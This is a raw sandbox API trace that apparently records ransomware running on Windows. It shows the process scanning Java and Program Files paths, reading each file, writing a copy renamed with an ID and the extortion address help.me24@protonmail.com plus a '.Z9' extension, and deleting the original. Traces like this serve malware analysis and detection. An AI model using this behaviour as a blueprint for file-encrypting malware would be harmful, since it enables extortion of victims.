	[0193.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.308] lstrlenW (lpString=".dbf") returned 4
	[0193.309] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.309] lstrlenW (lpString=".1cd") returned 4
	[0193.309] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.309] lstrlenW (lpString=".jpg") returned 4
	[0193.309] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.309] lstrlenW (lpString=".doc") returned 4
	[0193.309] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString=".docx") returned 5
	[0193.309] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.309] lstrlenW (lpString=".pdf") returned 4
	[0193.309] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString=".xls") returned 4
	[0193.309] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString=".xlsx") returned 5
	[0193.309] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.309] lstrlenW (lpString=".ppt") returned 4
	[0193.309] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.309] lstrlenW (lpString=".zip") returned 4
	[0193.309] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString=".rar") returned 4
	[0193.309] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString=".bz2") returned 4
	[0193.309] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString=".7z") returned 3
	[0193.309] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0193.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.309] lstrlenW (lpString=".dbf") returned 4
	[0193.309] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.309] lstrlenW (lpString=".1cd") returned 4
	[0193.309] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72
	[0193.310] lstrlenW (lpString=".jpg") returned 4
	[0193.310] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.310] lstrcmpiW (lpString1=".properties", lpString2=".Z9") returned -1
	[0193.310] lstrlenW (lpString="javafx.properties") returned 17
	[0193.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0193.310] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=56) returned 1
	[0193.310] CloseHandle (hObject=0x388) returned 1
	[0193.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20
	[0193.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0193.310] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.311] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.311] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0193.311] GetLastError () returned 0x0
	[0193.311] ReadFile (in: hFile=0x388, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x38, lpOverlapped=0x0) returned 1
	[0193.312] WriteFile (in: hFile=0x33c, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0x40, lpOverlapped=0x0) returned 1
	[0193.313] ReadFile (in: hFile=0x388, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.313] WriteFile (in: hFile=0x33c, lpBuffer=0x3b42020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesWritten=0x30efc94*=0xf6, lpOverlapped=0x0) returned 1
	[0193.313] SetEndOfFile (hFile=0x33c) returned 1
	[0193.313] CloseHandle (hObject=0x33c) returned 1
	[0193.313] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.313] SetEndOfFile (hFile=0x388) returned 1
	[0193.314] CloseHandle (hObject=0x388) returned 1
	[0193.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.314] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 1
	[0193.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.315] lstrlenW (lpString=".doc") returned 4
	[0193.315] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.315] lstrlenW (lpString=".docx") returned 5
	[0193.315] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.315] lstrlenW (lpString=".pdf") returned 4
	[0193.315] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.315] lstrlenW (lpString=".xls") returned 4
	[0193.315] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.315] lstrlenW (lpString=".xlsx") returned 5
	[0193.315] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.315] lstrlenW (lpString=".ppt") returned 4
	[0193.315] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.315] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.315] lstrlenW (lpString=".zip") returned 4
	[0193.315] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.315] lstrlenW (lpString=".rar") returned 4
	[0193.315] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".bz2") returned 4
	[0193.316] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".7z") returned 3
	[0193.316] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0193.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.316] lstrlenW (lpString=".dbf") returned 4
	[0193.316] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.316] lstrlenW (lpString=".1cd") returned 4
	[0193.316] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.316] lstrlenW (lpString=".jpg") returned 4
	[0193.316] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.316] lstrlenW (lpString=".doc") returned 4
	[0193.316] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".docx") returned 5
	[0193.316] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0193.316] lstrlenW (lpString=".pdf") returned 4
	[0193.316] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".xls") returned 4
	[0193.316] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".xlsx") returned 5
	[0193.316] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0193.316] lstrlenW (lpString=".ppt") returned 4
	[0193.316] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.316] lstrlenW (lpString=".zip") returned 4
	[0193.316] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".rar") returned 4
	[0193.316] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".bz2") returned 4
	[0193.316] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0193.316] lstrlenW (lpString=".7z") returned 3
	[0193.317] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0193.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.317] lstrlenW (lpString=".dbf") returned 4
	[0193.317] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0193.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.317] lstrlenW (lpString=".1cd") returned 4
	[0193.317] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0193.317] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 56
	[0193.317] lstrlenW (lpString=".jpg") returned 4
	[0193.317] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0193.317] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0193.317] lstrlenW (lpString="javaws.jar") returned 10
	[0193.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0193.317] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x30eff14 | out: lpFileSize=0x30eff14*=944167) returned 1
	[0193.317] CloseHandle (hObject=0x388) returned 1
	[0193.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20
	[0193.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.317] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0193.318] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.318] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0193.318] GetLastError () returned 0x0
	[0193.318] ReadFile (in: hFile=0x388, lpBuffer=0x3b42020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efecc, lpOverlapped=0x0 | out: lpBuffer=0x3b42020*, lpNumberOfBytesRead=0x30efecc*=0xe6827, lpOverlapped=0x0) returned 1
	[0193.335] WriteFile (hFile=0x33c, lpBuffer=0x3b42020, nNumberOfBytesToWrite=0xe6830, lpNumberOfBytesWritten=0x30efc94, lpOverlapped=0x0) 

Thread:
	id = 96
	os_tid = 0xf54

	[0188.173] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x39a3398
	[0188.173] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x39b33a0
	[0188.174] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2568
	[0188.174] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a5a70
	[0188.174] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b25f8
	[0188.174] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x3c57020
	[0188.179] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2628
	[0188.179] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2628, Size=0x20) returned 0x78dda0
	[0188.179] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2628
	[0188.179] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2628, Size=0x20) returned 0x78dd78
	[0188.179] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.180] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.180] Wow64DisableWow64FsRedirection (in: OldValue=0x322ff50 | out: OldValue=0x322ff50*=0x0) returned 1
	[0188.180] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.180] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dda0 | out: hHeap=0x750000) returned 1
	[0188.180] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.180] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dd78 | out: hHeap=0x750000) returned 1
	[0188.180] Sleep (dwMilliseconds=0x64) 
	[0188.522] Sleep (dwMilliseconds=0x64) 
	[0188.816] lstrcmpiW (lpString1=".sys", lpString2=".Z9") returned -1
	[0188.817] lstrlenW (lpString="pagefile.sys") returned 12
	[0188.817] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.817] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.817] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.817] lstrlenW (lpString=".doc") returned 4
	[0188.817] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0188.817] lstrlenW (lpString=".docx") returned 5
	[0188.817] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0188.817] lstrlenW (lpString=".pdf") returned 4
	[0188.817] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0188.817] lstrlenW (lpString=".xls") returned 4
	[0188.817] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0188.817] lstrlenW (lpString=".xlsx") returned 5
	[0188.817] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0188.817] lstrlenW (lpString=".ppt") returned 4
	[0188.817] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0188.817] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.817] lstrlenW (lpString=".zip") returned 4
	[0188.817] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0188.817] lstrlenW (lpString=".rar") returned 4
	[0188.817] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0188.817] lstrlenW (lpString=".bz2") returned 4
	[0188.817] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0188.817] lstrlenW (lpString=".7z") returned 3
	[0188.817] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0188.817] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.817] lstrlenW (lpString=".dbf") returned 4
	[0188.817] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0188.817] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.817] lstrlenW (lpString=".1cd") returned 4
	[0188.817] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0188.817] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.818] lstrlenW (lpString=".jpg") returned 4
	[0188.818] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.818] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.818] lstrlenW (lpString=".doc") returned 4
	[0188.818] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString=".docx") returned 5
	[0188.818] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0188.818] lstrlenW (lpString=".pdf") returned 4
	[0188.818] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString=".xls") returned 4
	[0188.818] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0188.818] lstrlenW (lpString=".xlsx") returned 5
	[0188.818] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0188.818] lstrlenW (lpString=".ppt") returned 4
	[0188.818] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.818] lstrlenW (lpString=".zip") returned 4
	[0188.818] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0188.818] lstrlenW (lpString=".rar") returned 4
	[0188.818] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString=".bz2") returned 4
	[0188.818] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString=".7z") returned 3
	[0188.818] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0188.818] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.818] lstrlenW (lpString=".dbf") returned 4
	[0188.818] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.818] lstrlenW (lpString=".1cd") returned 4
	[0188.818] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0188.818] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0188.818] lstrlenW (lpString=".jpg") returned 4
	[0188.818] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0188.819] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0188.819] lstrlenW (lpString="active-charge.exe") returned 17
	[0188.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0188.819] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=78336) returned 1
	[0188.819] CloseHandle (hObject=0x358) returned 1
	[0188.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe")) returned 0x20
	[0188.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\active-charge.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0188.820] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.820] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\active-charge.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0188.821] GetLastError () returned 0x0
	[0188.821] ReadFile (in: hFile=0x358, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x13200, lpOverlapped=0x0) returned 1
	[0188.835] WriteFile (in: hFile=0x35c, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x13210, lpOverlapped=0x0) returned 1
	[0188.838] ReadFile (in: hFile=0x358, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.838] WriteFile (in: hFile=0x35c, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0188.838] SetEndOfFile (hFile=0x35c) returned 1
	[0188.838] CloseHandle (hObject=0x35c) returned 1
	[0188.838] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.838] SetEndOfFile (hFile=0x358) returned 1
	[0188.839] CloseHandle (hObject=0x358) returned 1
	[0188.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0188.840] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\active-charge.exe" (normalized: "c:\\program files\\common files\\active-charge.exe")) returned 1
	[0188.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.841] lstrlenW (lpString=".doc") returned 4
	[0188.841] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0188.841] lstrlenW (lpString=".docx") returned 5
	[0188.841] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0188.841] lstrlenW (lpString=".pdf") returned 4
	[0188.841] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0188.841] lstrlenW (lpString=".xls") returned 4
	[0188.841] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0188.841] lstrlenW (lpString=".xlsx") returned 5
	[0188.841] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0188.841] lstrlenW (lpString=".ppt") returned 4
	[0188.841] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0188.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.841] lstrlenW (lpString=".zip") returned 4
	[0188.841] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0188.841] lstrlenW (lpString=".rar") returned 4
	[0188.841] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0188.841] lstrlenW (lpString=".bz2") returned 4
	[0188.841] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0188.841] lstrlenW (lpString=".7z") returned 3
	[0188.841] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString=".dbf") returned 4
	[0188.842] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString=".1cd") returned 4
	[0188.842] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString=".jpg") returned 4
	[0188.842] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\active-charge.exe") returned 47
	[0188.842] lstrlenW (lpString=".doc") returned 4
	[0188.842] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0188.842] lstrlenW (lpString=".docx") returned 5
	[0188.842] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0188.842] lstrlenW (lpString=".pdf") returned 4
	[0188.842] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0188.842] lstrlenW (lpString=".xls") returned 4
	[0188.842] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0188.842] lstrlenW (lpString=".xlsx") returned 5
	[0188.842] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0188.842] lstrlenW (lpString=".ppt") returned 4
	[0188.842] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
